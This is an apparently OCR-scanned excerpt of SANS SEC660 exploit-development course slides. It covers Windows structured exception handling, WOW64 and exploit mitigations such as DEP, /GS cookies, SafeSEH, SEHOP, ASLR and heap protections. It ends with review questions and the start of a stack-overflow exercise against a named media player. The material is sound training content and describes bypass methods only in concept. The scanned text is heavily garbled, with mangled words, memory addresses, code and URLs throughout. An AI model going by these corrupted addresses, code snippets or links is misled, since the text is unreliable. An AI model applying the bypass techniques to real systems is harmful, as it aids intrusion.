exception such as pnnt a message and exit or fix the issue 

- Chain of Exception Handlers 
• FS:[OxOO] pomts to the Start of the SEH chain 
• List of structures is walked until finding one to handle the exception 
• Once one is found, the hst is unwound and the exception registration 

structure at FS:[OxOJ points only to the callback handler 

- UnhandledExceptionFilter is called if no other handlers 
handle the exception 

• Terminates the process 

Structured Exception Handling (1) 
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Structured Exception Handling (2) 
This diagram provides a visual rcprcscntation of the layout ofthe SEH chain in mcmory. First, an 
exeeption rnust oecur within a thread. Each thread has its own TIB, and thereforc its own 
cxception handling structurc. Whcn an exeeption oecurs, thc Operating system needs to know 
wherc to obtain thc eallbaek funetion address. This is achieved by accessing offset FS:[OxOO] 
within thc thread's TIB. The address held here gives us the first exception registration structure to 
call. Inside this structure is a callback pointer to a handlcr. lf the code is handlcd by thc handler, a 
continuc_cxecution valuc is rctumed and cxccution continucs. If the exception is not handlcd, a 
pointer to thc ncxt structurc in thc SEH chain is called. Following this same process, thc SEH 
chain will unwind until a handlcr handles thc cxccption or the end is reached. If the end is 
rcachcd, the Windows Unhandlcd_Exception_Handler will handle thc cxccption, tcrminating thc 
proccss or giving thc option to dcbug when applicablc. 

Continue Exccution 

faccQtion_Rcgistration 

Unhandled Filter 1 S:[OxOO) Pointer ro \FH Chain Thrcad 
r\,,.1,,1,·11 

Structured Exception Handling (2) 
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A good papcr and rcfcrcncc for this slidc on WOW64 can bc found al: http://msdn.microsoft.com/cn- 
us/windows/hardwarc/gg463051 

WOW is a collcction of dynamic-link librarics (DLLs) that run within a 32-bit process and fully 
cmulatc all rcquircmcnts for thc 32-bit application. DLLs such as WoW64.dll run within thc 32-bit 
proccss to intcrccpt and translatc calls. All rcquircd 32-bit DLLs are loaded into thc application as 
needed to support full functionality. 

WOW64 
Thc majority of dcvclopcrs and vcndors arc still catching up to 64-bit systcms. Microsoft has portcd 
and rccoded its cntirc opcrating systcm to run on 64-bit processors in 64-bit modc nativcly. Largc 
vcndors such as Adobe havc also completed, or arc weil on their way to fully supporting, 64-bit 
systems natively with their applications. However, there are many vcndors who arc still far from 
converting ovcr, and thcrc are many companies who would not simply run out to purchase a ncw 
liccnsc just bccausc it's writtcn for 64-bit systcms. This bcing thc casc, therc must be support for 32- 
bit applications on 64-bit systems. On 64-bit Microsoft OSs, the feature to accomplish this rcquircment 
is known as Windows 32-bit On Windows 64-bit (WOW). 

• Windows 32-bit On Windows 64bit 
- Many applications are still 32-bit 
- Emulator / subsystem that supports 32-bit 

applications on 64-bit systems 
- Supported by the majority of Windows 64-bit 

OSs 
- Set of user-rnode DLLs to handle calls to and 

from 32-bit processes 

WOW64 
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Module Summary 

In this modulc wc took a high lcvcl look at somc of the diffcrenccs bctwccn Windows and Linux. 
These diffcrcnccs will bccomc morc apparcnt as wc go dccpcr into cach arca frorn an cxploitation 
and security pcrspcctivc. Notably, thc usc of thc Windows API is a big diffcrcnce from having thc 
ability to directly acccss kcmel rcsourccs through systcm calls within a process, as on Linux. 
Thcrc arc many strucrurcs holding mctadata and maintaining sanity within thc proccss that must 
be protcctcd, 

• Some important differences between Linux 
and Windows 

• The PE/COFF Object File Format 
• The Windows API is a complex set of 

libraries and functions 
• TIB/TEB and PEB Structures 
• Exception handling with SEH 

Module Summary 
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3) Windowssupports fork()-ing to creatc a ncw proccss. Truc or Falsc? 

2) What DLLs arc almost always loaded as modulc for a program? 

1) What is stored at FS segment register offsct FS:[Ox30]? 

Review Questions 
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1. What is stored at FS segment register offset 
FS:[Ox30]? 

2. What DLLs are almost always loaded as 
modules for a program? 

3. Windowssupports fork()-ing to create a 
new process. True or False? 

Review Questions 
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3) False - Windows uscs thrcading as opposcd to creating a wholc new proccss likc 
fork(). 

2) kcmcl32.dll - Kcmcl32.dll is alrnost always loaded by dcfault into a proccsscs 
addrcss spacc. Ntdll.dll is also cornrnonly loaded by cvcry proccss. 

1) Thc Proccss Environment Block (PEB) - Thc PEB is storcd at location FS:[Ox30] 
from within thc Thrcad lnfonnation Block (TIB). 

1. The Process Environment Block (PEB) 
2. kernel32.dll & ntdll.dll 
3. False 

Answers 

Answers 
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The Forger's Win32 API Programming Tutorial by Brook Milcs (Forgey) 
http://www.winprog.org/tutorial/ 

A Crash Course on the Dcpths of Win32 Structured Exccption l landling by Matt Pietrek 
http://www.microsoft.com/msj/O 197/cxception/exeeption.aspx 

Assembly Language for lntel-Bascd Computers, S1h Edition (Kip R. lrvine, 2007) 

Linkers & Loaders (John R. Levine, 2000) 

Recommendcd Rcading 
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- Linkers & Loaders John R. Levine, 2000) 
- Assembly Language for Intel-Based Computers, 5th 

Edition (Kip R. Irvine, 2007) 
- A Crash Course on the Depths of Win32 Structured 

Exception Handling by Matt Pietrek 
http://www.microsoft.com/msj/0197/exception/exc 
eption .aspx 

- The Forger's Win32 API Programming Tutorial by 
Brook Miles (Forgey) 
http://www. winprog .org/tutorial/ 

Recommended Reading 



37 

OS Protections and Compiler-Time Controls 
In this modulc we will walk through protection mcchanisms added to thc various Windows opcrating 
systerns ovcr thc ycars. lt is irnportant to understand cach of thcsc protcctions to better understand 
what you arc up against when attcmpting to defeat or circumvcnt thcrn. Somc of thc protcctions can bc 
dcfeatcd and othcrs can simply bc bypasscd or disabled. Whcn pcrforming pcnctration tcsting, an 
cxploit may fail against a systcm that should bc vulnerable. This may bc duc to onc or morc 
protcctions that can potcntially bc defeated. Each possiblc situation should bc ruled out. 

SANS SEC660.5 

Windows OS Protections and 
Compiler-Time Controls 
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Objectives 
Our objcctivcs for this modulc is to undcrstand Data Execution Prevcntion (DEP), /GS & Security 
Cookies, PEB Randomization, Hcap Cookies, Safe Unlinking, Low Fragmentation Heaps and Address 
Space Layout Randomization (ASLR) on Windows and Linux, as wcll as Windows 8 ROP protcction. 

• Our objective for this module is to und erstand: 
- Data Execution Protection (DEP) and WAX 
- Security Cookies and Stack Canaries 
- PEB Randomization 
- Heap Cookies 
- Safe Unlinking 
- Windows Low Fragmentation Heap (LFH) 
- ASLR on Vista, 7, and Server 2008 
- Windows 8 ROP Protection 

Objectives 
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Whcn thc circles overlap, morc controls arc cnforecd, improving thc sceurity. Whcn you gct to the 
vcry ccntcr, where all circlcs ovcrlap, sccurity is at thc highcst. 

1) Application Opt-In Controls: This category of exploit mitigation allows thc dcvclopcr of an 
application or modulc to dctcrminc if it will participate in a givcn exploit mitigation control 
supportcd by the OS. These controls includc ASLR participation, DEP participation, arnongst 
othcrs. 

2) OS Controls: Regardlcss of a dcvclopcr's ehoiec to compilc a program to participatc in a eontrol 
such as ASLR, the OS must havc support for thc control. These controls include ASLR, hardware 
DEP, and scvcral othcrs. 

3) Compilc-Time Controls: This catcgory of cxploit mitigation dcscribcs controls that arc added in 
during compilc-timc. These controls include canaries or sccurity eookics, application ASLR, 
SafcSEH, and scvcral others. 

OS 
Controls 

Exploit Mitigation Controls 

Thc Vcnn diagram on this slidc is uscd to show thc thrcc primary eatcgorics of cxploit mitigation 
controls. 

Compile- 
Time 

Controls 

Exploit M itigation Controls 
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NX bit and XD/EO bit 

Thc NX bit uscd by AMD 64-bit processors and thc XD or ED bit used by Intel proccssors provide 
protcction through a form of WAX. NX and XD arc built into the hardwarc, unlikc thc original W"X 
softwarc-based mcthod. There are multiple methods that may be used to bypass or dcfeat this 
protcction. lf code you are looking to cxecute already resides within the applications code segment, 
you may bc able to simply rctum to thc addrcss holding the instructions you wish to execute. lf you 
have the ability to writc to an arca of mcmory whcrc you control the pcrmissions, you may also be able 
to rctum to that arca holding your shcllcode. On somc implementations of W"X, it is possiblc to 
disablc the featurc. Each implcmentation and OS holds this capability in different locations. 

Linux Write XOR Execute- WAX 

lt is very uncommon, if not unhcard of, for a program to rcquire code cxccution on the stack or hcap. 
You certainly wouldn't want to acccpt cxecutable codc from a user. A simple way to protect thcse 
mcmory segments from holding exccutable content is to rnark them as writable, but not cxecutablc. 
Code scgrncnts arc typically cxecutablc and not writable. This bcing the casc, segmcnts in memory 
that arc writable can be sct as non-executablc, and segments in mcmory that arc cxecutablc can be set 
as non-writablc. WAX, first implcmcnted by OpenBSD, marks evcry page as cithcr writablc or 
cxccutable, but ncvcr both. Many attacks are prevcntcd by adding this protcction. For examplc, i f onc 
placcs shcllcodc into a buffcr and attcmpts to retum ro it, thc pagcs in memory holding that data arc 
markcd as non-executablc, and as such, thc attack will fail. Thcrc arc still some ret21ibc style attacks 
that may still be successful in thc event WAX is bcing used. 

• Marks areas in memory as writable or 
executable 
- Code Segmentsare Executable 
- Data Segments are Writable 
- Cannot be both 

• Some ret21ibc style attacks still successful 
- e.g. Passing arguments to a desired function 

• No Execute (NX) bit - AMD 
• eXecute Disable (XD) bit - Intel 

Linux Write XOR Execute WAX 
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As mcntioncd prcviously, Intel calls thc bit that is set to mark all non-exccutablc pagcs thc Execute 
Disable (XD) bit. AMD calls this bit thc No Exccutc (NX) bit. Both arc hardwarc bascd 
implemcntations of DEP whcre the proccssor marks memory pagcs with a tlag as thcy arc allocatcd by 
the proccssor. Software DEP only provides SafcSEH protcction that wc will discuss shortly. 

Data Execution Prcvention 

Data Exccution Prcvcntion (DEP) is primarily a hardwarc-bascd sccurity fcaturc that is a takc on thc 
W"X control on Linux. The idea is that no code cxccution should cvcr rakc placc on arcas likc thc 
stack and hcap. Only pagcs cxplicitly marked for code exccution, such as thc code scgment, may do 
so. Any attempt to cxecutc codc in arcas markcd as non-executable will cause an exception, and the 
code will not be pennittcd to run. DEP is not supportcd in versions of Windows beforc XP SP2 and 
2003 Server. You can also manually turn DEP on or off through systcm propcrtics. If you go to 
"Start," "Run," and type in "sysdrn.cpl" and press cntcr, you will pull up thc System Propcrtics mcnu. 
From thcrc you click on thc "Advanced" tab on the top of the pancl and then the "Settings" option 
undcr "Performance." You thcn nccd to click on thc "Data Exccution Prevention" tab on the top of thc 
screen. You now have thc option to turn DEP on for essential Windows programs and services only, or 
you can turn it on for all programs and services, cxcept for thc onc you cxplicitly list. 

• Data Execution Prevention (DEP) 
- Started with Windows XP SP2 and 2003 Server 
- Marks pages as non-executable 

• e.g. Stack, Heap 
• Raises an exception if execution is attempted 

- Hardware based by setting the Execute Disable 
(XD) bit on Intel 

• AMD uses the No Execute (NX) bit 

- Can be manually disabled in system properties 
- Software DEP is supported even if Hardware DEP is not 

supported 
• Software DEP only prevents SEH attacks with SafeSEH 

Data Execution Prevention 
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More inforrnation can bc found by visiting Microsoft at http://msdn.microsofi.com/en- 
us/l ibrary/9a89h4 29(YS. 80).aspx. 

Thc main problem with SafeSEH is that many third-party programs are not compiled with the 
/SAFESEH flag. Ollen timcs during program runtime the Windows DLLs used by thc program are 
protected by SafeSEH, but the program itself has its own DLLs or code that is not protcctcd. This 
gives an opportunity to the attacker to exploit thc unprotcctcd picces loaded into thc program's 
memory space. We will go into this attack later. 

SafeSEH 
Starting with Windows XP SP2, the SafeSEH compiler Option was added to provide protection against 
common attacks on SEH overwritcs. When this flag is used during cornpilc-time, the linker will build 
a table of good exccption handlers that may bc used. If the exception handler is overwritten and the 
address is not listed in the table as a valid handler, thc program terminales and control will not be 
passcd to the unknown address. Most Windows DLLs and programs have been rccompilcd using the 
/SAFESEH Ilag, but it dcpends on the OS vcrsion. 

• SafeSEH 
- Builds a table of trusted exception handlers during 

compile-time 
- Will not pass control to an address that is not in the table 
- 95°10 of Windows DLLs and programs have been 

recompiled with this feature, 99°10+ on Vista & 7 /8 
- To secure the program, all input files must support the 

feature 
- Third-party programs & DLLs may cause a problem 

SafeSEH 
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SEHOP 
Matt Miller (Skapc) outlincd a control that could bc implcmcnted to stop the simple attack to overwritc 
thc SE handlers on thc stack of a givcn thrcad. This paper is titled, "Preventing thc Exploitation of 
SEH Ovcrwritcs" and is available here: http://www.uninfonned.org/?v=5&a=2&t=txt Microsoft 
added support for this control starting with Vista SP 1 and Server 2008. The idea behind thc control is 
to walk the list of handlers on the stack to confinn that thc end of the list can bc rcaehed. The end of 
the list should contain a DWORD of Oxffffffff, followcd by a pointer to ntdll!FinalExccptionHandlcr. 
A papcr was rcleascd by Stefan Lc ßcrrc and Damicn Cauquil on a tcchniquc to defcat thc control. 
Thc tcchniquc involvcs crcating a fake validation framc as part of your exploit, tricking thc control 
into thinking that thc SEH chain is intact. The paper is availablc at 
hnp:// d l .packctstormsccurity. net/papcrs/gcncral/sehop _ cn .pd f. 

• Structured Exception Handling Overflow Protection 
(SEHOP) 
- Started with Vista SP1 and Server 2008 
- Adds a validation frame at the bottom of the stack 
- Prior to an exception handler being called, the SEH chain 

is walked to verify that the validation frame is at the end 
- Defeating this control would require one to create a fake 

validation frame in the attack which points to 
ntdll ! FinalExceptionHandler 

SEHOP 
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Thc /GS fcaturc is cnablcd by dcfault, and of coursc, anything that was compilcd without using MS 
Visual Studio would nccd to bc rccompilcd with such in ordcr to includc thc protcction. Similar to 
Stack Smashing Protection (SSP) on Ubuntu and other variants, thc sccuriry cookic is pushcd onto 
the stack whcn a function is callcd. Upon function rcturn, thc cookic is checked against thc mastcr 
cookic to validatc its intcgrity. lf thc check fails, a handlcr takcs ovcr and tenninatcs thc proccss. 
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Visual C++ /GS Check 
Thc /GS option has been availablc on Microsoft's Visual Studio C++ compilcr sincc 2002. More 
recent versions provide extra security, such as on Visual Studio 2010, whcre thcrc is protection for 
vulnerable parametcrs on the stack by moving them bclow thc sccurity cookic. The /GS fcaturc 
pushcs a 32-bit seeurity cookic onto the stack i f detcrmincd it is vulnerable. Onc mastcr cookie is 
gcncratcd per each module loaded, but is typically XOR'd against EBP during the function prolog. 
Format string bugs may help you with detennining the cookie. Thcrc arc cxceptions to thc protcction 
of functions, including whether or not the function includcs a string buffer, buffcrs smaller than 5 
bytcs, and othcrs, although this can bc set to bc morc aggressive. GS compilcd cxccutablcs and DLLs 
can bc dctcctcd through signaturc analysis. Ollic Whitchousc from Symantcc gavc a great 
prcscntation on this covering Vista sccurity with /GS and ASLR at BlackHat 2007, 
http://www.blackhat.com/prcscntat ions/bh-dc-07 /Wh itehousc/Prcscntation/bh-dc-07-Wh i tehousc. pd f. 
Definitely worth checking out. 

• /GS Security Check supported on MS Visual 
C++ Compiler 
- Pushes a 32-bit security cookie onto the stack to 

protect return addresses 
• Cookie== Canary 
• Also protects exception handlers during unwind 

- Is enabled by default, and can be set to 
aggressive. Stronger in VS 2010 

- Cookie is generated when the module is loaded 
into memory 

• Checked on function exit 

Visual C++ /GS Check 
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PEB randomization runs scparately from Vista, 7, 8, and Server 2008's ASLR implementation. PES 
randomization adds somc sccurity, but is ccrtainly not strong. lf an application allows an attackcr to 
makc multiple atternpts to gucss thc right addrcss, succcss is imminent. 

PEB Randomization 
Prior io Windows XP SP2, thc Proccss Environment Block (PEB) is always found at thc addrcss 
Ox7FFDFOOO. Thc PEB is a structurc within each Windows process that holds proccss-spccific 
information such as imagc and library load addressing. The static address made it possible for attacks, 
such as ovcrwriting RtlCriticalScction, to bc ovcrwrittcn upon program cxit. With PEB randomization 
the location of thc PEB in mcmory will not always bc loaded at thc addrcss, Ox7FFDFOOO. Thcrc arc 
now up to 16 possiblc locations for it tobe loaded starting at Ox7FFDOOO up to Ox7FFDFOOO, aligncd 
on 4,096-byte boundarics. Symantec 's rcsearch showcd that an attacker has a 25% chancc of guessing 
thc right PEB location on thc first try. This is due to some inconsistcncy in thc randomization that 
sccms to favor certain load addrcsscs. Thcir rcscarch can be found at 
http://www. black hat.com/prcscntations/bh-dc-07 /Wh itchousc/Papcr/bh-dc-07- Wh i tchousc-WP. pd f. 

• PEB Randomization (PEB Discussed Shortly) 
- Introduced on Windows XP SP2 

• Pre-SP2 the PES is always at Ox7FFDFOOO 

-The PEB has 16 Possible locations: 
• Ox7FFDOOOO, Ox7FFD1000, ... , ... , Ox7FFDFOOO 
• Symantec research showed that a single guess has a 25% 

chance of success 

- Randomization runs separately from Address 
Space Layout Randomization (ASLR) on later 
versions 

PEB Randomization 
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Hcap Cookies 
Heap cookies were introduced in Windows XP SP2 and Windows 2003 Server. They arc 8-bits in 
length, providing up to 256 different kcys that may be used to protect a block of memory. In theory, if 
you are testing an application that allows multiple attempts at corrupting the hcap, you will average 
success every 1/256 tries. Heap cookies may be defcatcd through brute-forcc, or by memory lcaks in 
vulnerabilities such as formal string bugs. Heap cookies are placed dircctly after the "Prcvious Chunk 
Sizc" field in the header data. Thcy are also only validated under certain instances. More will be 
discusscd latcr. 

• Heap Cookies 
- 8-bits in length (256 possible values) 
- Can be guessed 1/256 tries on average 
- Introduced on XP SP2 and Windows 2003 Server 
- Placed directly after the "Previous Chunk Size" 

field 

Heap Cookies 
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Thc codc says that thc ncxt chunks backward pointer should point to the currenl chunk and (&&) that 
thc prcvious chunks forward pointcr should also point to thc currcnt chunk. 

Thc following is thc codc snippet used ro safcly unlink chunks of memory to bc coalcsccd. 
(B->Flink)->Blink - B && (B->Blink)->Flink = B 

Safe Unlinking 

Safe Unlinking was introduced in Windows XP SP2 and Windows 2003 Server. lt is vcry similar to 
how the modificd vcrsion of unlink() is used by thc GNU C Library on Linux. Basically, thc pointcrs 
arc tested to makc surc thcy arc propcrly pointing to thc chunk about to bc frccd prior to unlinking. 
This is a much strenger protcction than thc 8-bit security cookics used for heap protcction. Safe 
Unlinking can be defcated in certain situations; howcvcr, thc combination of cookies, safc unlinking, 
PEB randomization, ASLR, and other controls incrcasc thc difficulty in cxploitation. 

• Safe Unlinking 
- Added to XP SP2 and 2003 Server 
- Similar to the update to early GLIBC unlink() 

usage on Linux; e.g. dlmalloc ... 
- M uch better protection than 8-bit cookies 
- Combined with cookies and PEB randomization, 

exploitation is difficult 
• (8->Flink)->Blink == B && (B->Blink)->Flink == B 

Safe Unlinking 
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#dcfinc unlink(P, BK, FD) { \ 
FD = P->fd; \ 

/* FD = the pointer stored at chunk +8 */ 
BK- P->bk; \ 
!* BK= thc pointcr storcd at chunk + 12 */ 
FD->bk = BK; \ 

/* At FD + 12 writc BK toset new bk pointcr */ 
BK->fd = FD; \ 

/* At BK +8 writc FD to sct ncw fd pointer */ 

Linux Unlinkf) witbout Checks- Recap for comparison to Windows 
Bclow is thc original sourcc for thc unlink() macro with addcd comrncnts: 

\d\,ll1lnl l'l•1111.1111111 11·,1111.l:. I ,pl1111 \\n1111~~ .. 111.l l :1111:.I ll:11k1111.! 
' 

ftee Chunk 
. '• r /*At FD - 12 write BK toset new bk pointer */ 

BK->fd = I'D: ' 
/*At BK 18 write FD toset new fd pointer */ 

rn-+ 1ward Polm 1 
BI _. Backmtd Pointt1 

Old Data 

e 

#define unlink(P, BK, FD) { \ 
FD =- P->fd; \ 
/* FD = the pointer stored at chunk +8 */ 
BK= P->bk~ 
/* BK= the pointer stored at chunk + 12 */ 
FD->bk = BK~\ 

Linux Unlink() without Checks 
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Now wc arc simply adding a check to make sure that thc FD's bk pointer is pointing to our currcnt 
chunk and that BK's fd pointcr is also pointing to our current ehunk. lf it is != we print out the error, 
"Corrupted Doublc-linkcd list." Thc Windows Safe Unlink tcchniquc works in thc sarne manncr. 

} \ 

FD->bk =BK;\ 

BK->fd - FD; \ 

eise { \ 

#dcfine unlink(P, BK, FD) { \ 
FD = P->fd; \ 

BK= P->bk; \ 

if Lbuiltin_expeet (FD->bk != P II BK->fd !- P, 0)) \ 

malloe_printcrr (eheek_aetion, "eorrupted doublc-linkcd list", P); \ 

Linux Unlinkt) With Checks - Recap for comparison to Windows 
Checks arc now madc to ensurc the pointers have not becn eorrupted. Below is the eode: 

} 
} \ 

#define unlink(P. BK, FD) { \ 
FD = P-.>fd; \ 
BK= P->bk; 
if Lbuiltin_expcct (FD->bk != P II BK->fd != P, 0)) \ 

malloc_printerr (check_action, "corrupied double-Iinked list", 
P); \ 
eise { \ 

ro- =bk = BK; \ 
BK->fd = FD: \ 

Linux Unlink() with Checks 
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Allocations are performed using predetermined chunk sizes arrangcd in 128 buckets. Therc arc scvcn 
groupings of buckets; cach grouping sharing the same granularity. Detailed information about thc 
block sizes stored in cach bucket can bc found at http://msdn.microsoft.com/en- 
us/library/aa366750(YS.85).aspx. This will also be discussed in morc detail later. 
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Low Fragmentation Heap (LFH) 
Thc Low Fragmcntation Hcap (LFH) was introduccd in Windows XP SP2 and Windows Server 2003, 
although it was not uscd unlcss cxplicitly configured and compilcd to run with an application. lt is 
uscd much more so in Windows Vista and latcr. LFH adds a grcat dcal of sccurity to the heaps it 
managcs. Whcn allocating blocks out of buckcts, a 32-bit cookic is placcd into thc eh unk headcr to 
pcrform a streng integrity check. This is a mueh more secure cookie than thc 8-bit cookie protccting 
standard hcaps on XP SP2 and Server 2003. LFH can bc used to allocatc bloeks greater than 8 bytes, 
but not larger than 16 KB. Allocations > 16 KB will usc the standard heap, and as such the 32-bit 
cookie will not be uscd. 

• Low Fragmentation Heap (LFH) 
- 32-bit cookie! 
- Not used with XP SP2 or Server 2003 
-Can allocate blocks up to 16KB per Microsoft 

• > 16 KB uses the standard heap 

- Allocates blocks in predetermined size ranges 
by putting blocks into buckets 

• 128 Buckets total 

Low Fragmentation Heap 
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As mcntioncd bcfore, the PEB is randomizcd through a separate proccss. 

During boot time a module that has opted in for ASLR selects a load address from 256 possiblc 
locations. This load address will remain consistcnt until the systcm is rcbooted. Randomization is 
further used on thc stack and heap each time an cxccutablc is run. Thc stack is loaded to onc of 32 
possiblc locations and is then furthcr randomized by decremcnting the stack pointer by a value up to 
2,048 bytes. The decrcmcntcd valuc rnust bc 4 byte aligned on 32-bit proccssors. Per Syrnantec's 
rescarch, this is 16,384 possiblc locations for the stack to be located. The heap is then loaded to one of 
32 possiblc locations. Much morc dctail on ASLR with Vista can be found at 
http://www. black hat.com/prcscntations/bh-dc-07 /Wh i tchousc/Papcr/bh-dc-07-Wh itchousc-W P. pd f. 
Aga in, Ollie Whitchousc did a great amount of research on the topic. Matt Conovcr and David 
Litchficld have also providcd much rcscarch on the topic of Windows cxploitation. 

Vista, 7, Server 2008 ASLR 

Microsoft finally deeided to get on board with Address Space Layout Randomization (ASLR) on 
Windows Vista. This, of coursc, requires that you compile the program with that Option enabled on at 
least MS Visual Studio 2005. Any program eompiled on an earlier or different compiler requires 
recompilation. Vista's ASLR is not as strong as PaX on Unix; however, it does a sufficient job. There 
are irregularities between the different structurcs that are randornizcd. Microsoft has expressed their 
cffort to correct somc of these issues in future rclcascs. Somc havc bccn improvcd in Windows 7, 8 
and Server 2008 R2. 

• Address Space Layout Randomization (ASLR) on 
MS Vista, 7, 8, and Server 2008 
- Randomizes the image load address once per boot 

• 256 Possible Locations 
• 64K Aligned 

- Stack and heap locations are further randomized 

• Process Environment Block (PEB) is randomized 
separately 

Vista, 7, Server 2008 ASLR 
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Ocf eating ASLR 
ASLR on Vista and latcr providcs a nicc incrcasc in sccurity. Onc of thc primary malwarc thrcats ro 
OSs are worms. ASLR cuts down grcatly thc succcss of worrn-bascd attacks. Successfully dcfcating 
ASLR oflen rcquires the brute forcing of a program. lf thcrc are a possible 256 locations for a desired 
variable in mcmory to bc located and randomness is even, you have a 1 in 256 chancc of successfully 
gucssing thc corrcct location in mcmory. If an application allows you to rcpcatcdly hack at it, succcss 
is imminent. If thcrc arc a possiblc 65,536 locations for a variable to ex ist in memory, succcss is much 
less likcly without crashing thc proccss. Format String attacks may also allow for memory to bc 
leaked, resulting in the discovery of addressing. When combining multiple defcnses such as ASLR, 
DEP, PEB randomization and others, attacks to take over control of a proccss bccornc quitc difficult. 
Still, rnuch is dcpcndcnt on thc application itself. lf you have an application that ereates many threads 
and allows for many connections, such as IJS, succcssful cxploitation can be morc likcly under certain 
conditions. lf an attaeker has scleeted a specific targct, and repeated attcrnpts are permitted, 
exploitation is still possiblc against an ASLR-protectcd program. You also must remember that many 
systems are not running Vista or later, and do not support native ASLR. Therefore, exploitation will 
still continue with ease. There are also third-party modules that are loaded in by applications that do 
not participatc in ASLR. 

• Defeating ASLR on Windows 
- Targeted attacks still possible: 

• How much randomness exists? 
• How many times can an attacker try? 

- Many systems not running Vista or 7 
• Native ASLR does not exist in XP SP2 and prior 

- Format String attacks can leak memory 
• Location of stack and heap can be determined 

- Browser-based weaknesses allow for the creation of 
memory segments not participating in ASLR 

• Some modules, especially third-party, do not participate in ASLR 

Defeating ASLR 
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The best link to undcrstand thc controls and Features of EMET is at: 
http://blogs.tcchnct.com/b/srd/archive/2012/05/15/introducing-cmet-v3.aspx 

Internet Explorcr.xml: Enablcs mitigations for supportcd vcrsions of Microsoft Internet Explorer. 

Office Softwarc.xml: Enables mitigations for supportcd vcrsions of Microsoft Internet Explorer, 
applications that arc part of thc Microsoft Office suitc, Adobe Acrobat 8-10 and Adobe Acrobat 
Reader 8-10. 

All.xml: Enablcs mitigations for common homc and cntcrprisc applications, including Microsoft 
Internet Explorer and Microsoft Office. 

Enhanced Mitigation Experience Toolkit (EMET) 

Microsoft claims, "Dcploying EMET drastically reduces thc cfTcctivcncss of cxploits on Windows XP. 
Only 21 of 184 cxploits succecded on Windows XP with EMET dcploycd." Thc idca bchind EMET is 
to cnforce morc strict cxploit mitigation controls to protcct against attacks. An cxamplc of thc type of 
control EMET can add is to forcc thc use of ASLR to modulcs or programs who wcre not compiled to 
participatc in the control. Thcrc arc conccms around whcthcr or not applications can handle the use of 
EMET. Microsoft gives you multiple choices with EMET as to what programs should rcccivc thc 
additional protcction. Taken directly from Microsoft: 

• Enhanced Mitigation Experience Toolkit (EMET) 
- Adds additional or more strict exploit mitigation controls 

to the Windows OS 
- Greatly increases the difficulty of exploiting a 

vulnerability 
- Very little adoption by most organizations 
- Flexibility to push EMET to only the applications desired 
- Introduces controls such as "Mandatory ASLR" 
- http://support.microsoft.com/kb/2458544 

EMET 
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Additional enhancements to Windows 8 and Server 2012, unrclated to the Kernel, are C++ virtual 
function tablc protection, return oriented programming (ROP) protection, mandatory ASLR 
(ForceASLR), and morc aggressive cookics. 

Windows Kernel Hardening 

The Windows Kernel has received a lot of hardening over the past few OS revisions. This is due 
hcavily to the fact that the Kernel became more of a target once ihe exploit mitigations in uscr land 
(Ring 3) became more prevalent. Sincc there were less mitigations in the Kernel, it became a good 
target. Also, more and more functionality was pulled out of Ring 3 and put into Ring 0. Some 
improvements include mapping the first 64KB of memory so that the null pointer dereference 
vulnerability class was rcmoved. Guard pages werc added to Kernel mcmory. Ifa block of mcmory is 
marked as a guard, and that memory is hit with a write attempt, an exception will occur. ASLR was 
grcatly improved in the Kernel, where it had prcviously been lacking. Security eookies were addcd to 
Kernel routines. 

• On Windows 8 and Server 2012 
- First 64KB of memory cannot be mapped, so no more 

null pointer dereferencing 
- Guard pages added to the kernel pool 
- Improved ASLR 
- Kernel pool cookies 

• General protection enhancements 
- C++ vtable protection for Internet Explorer 
- ROP/]OP protection 
- ForceASLR, sehop, more aggressive cookies 

Windows Kernel Hardening 
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Module Summary 
In this modulc we took a look at somc of the rnost important sccurity controls addcd ro thc 
Microsoft Windows Operating systcm ovcr thc past few ycars. lt is likcly that thcsc controls will 
continuc to improvc, as thcy have provcn to bc a significant inhibitor to exploitation techniques, 
cspecially whcn combincd. 

• There are many controls available an 
Windows 

• Combining these controls greatly increases 
security 

• Many companies have not changed to 
Windows Vista, 7, 8, or 2008 

• Controls are not a silver bullet 

Module Summary 
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3) ASLR was availablc to usc natively on XP SP2, but had to bc enablcd. True or False? 

2) Data Execution Prevention (DEP) works by marking pages in physical memory as executable or non- 
executable. True or False? 

Review Questions 

1) How largc is the cookie uscd by MS Visual Studio's /GS flag? 

a) 32 bits 
b) 16bits 

c) 8 bits 
d) 24 bits 

1) How large is the cookie used by MS Visual Studio's /GS flag? 
A. 32 bits 
B. 16 bits 
c. 8 bits 
D. 24 bits 

2) Data Execution Prevention (DEP) works by marking pages in 
physical memory as executable or non-executable. True or 
False? 

3) ASLR was available to use natively on XP SP2, but had tobe 
enabled. True or False? 

Review Questions 
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1) "A'' - 32-bit cookies arc pushcd onto thc stack. 

2) Truc: DEP scts a bit to mark pagcs of mcmory during allocation 
3) Falsc: ASLR was not availablc nativcly on XP SP2 

Answers 

' 
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1. "A" - 32-bit cookies are pushed onto the 
stack 

2. True: DEP sets a bit to mark pages of 
memory during allocation 

3. False: ASLR was not available natively on 
XP SP2 

Answers 
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Windows Overflows 
In this modulc wc will walk through various tcchniqucs to cxploit thc stack and cxccption 
handling on Windows. 

SANS SEC660. 5 

Windows Overflows 
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Your instructor will walk through this one prior to handing ovcr control for you to complete. You may 
usc Windows 7 "SPJ'' 32-bit or 64-bit. If using Windows 8 you may cxpcricncc different results. 

Your goal is to gencrate a malicious playlist filc to causc thc program to crash with a buffcr overflow. 
Once this is complcted, dctermine the sizc of thc buffcr bcfore gctting control of the retum pointcr, 
vcrify control of EIP, and locate a trampolinc to rcdircct cxccution to your shcllcode. 

Exercise: Basic Stack Overflow 
In this exercise you will pcrfonn a basie stack ovcrflow against a Windows application. The 
application we are targcting is "BlazcVideo HDTV Player 6.6 Pro," availablc at 
http://www.blazevideo.com/hdtv-playcr/. lt is vulnerable to a stack ovcrflow and at the time of this 
writing in 2014, the vulnerable vcrsion 6.6 is still thc onc for sale. Thc vulncrability was discovercd in 
previous vcrsions of the program, as far back as version 3.5 (c.g. http://www.cxploit- 
db.com/exploits/32129(j by flO flOw and ThE gObL!N. 

Youi 111:.lludor "111 Y<:slk) uu rhrough this up to u certain point prior to handing 
O\ er control, You rnay usc Windows 7 "SP I '' 32-bil or 64-bit 

• Target: BlazeVideo HDTV Player 6.6 Pro 
- An HDTV player for Windows 
- Version 6.6 is vulnerable to a stack overflow 
- Vulnerability discovered in earlier versions as far back as 2008 by 

ThE gObl!N, flO flOw, and others ... 
• Goals: 

- To trigger a buffer overflow inside the program 
- Determme the buffer size 
- Verify control of the instruction pointer 
- Locate a trampoline and get around ASLR 
- Gain shellcode execution 

Exercise: Basic Stack Overflow 
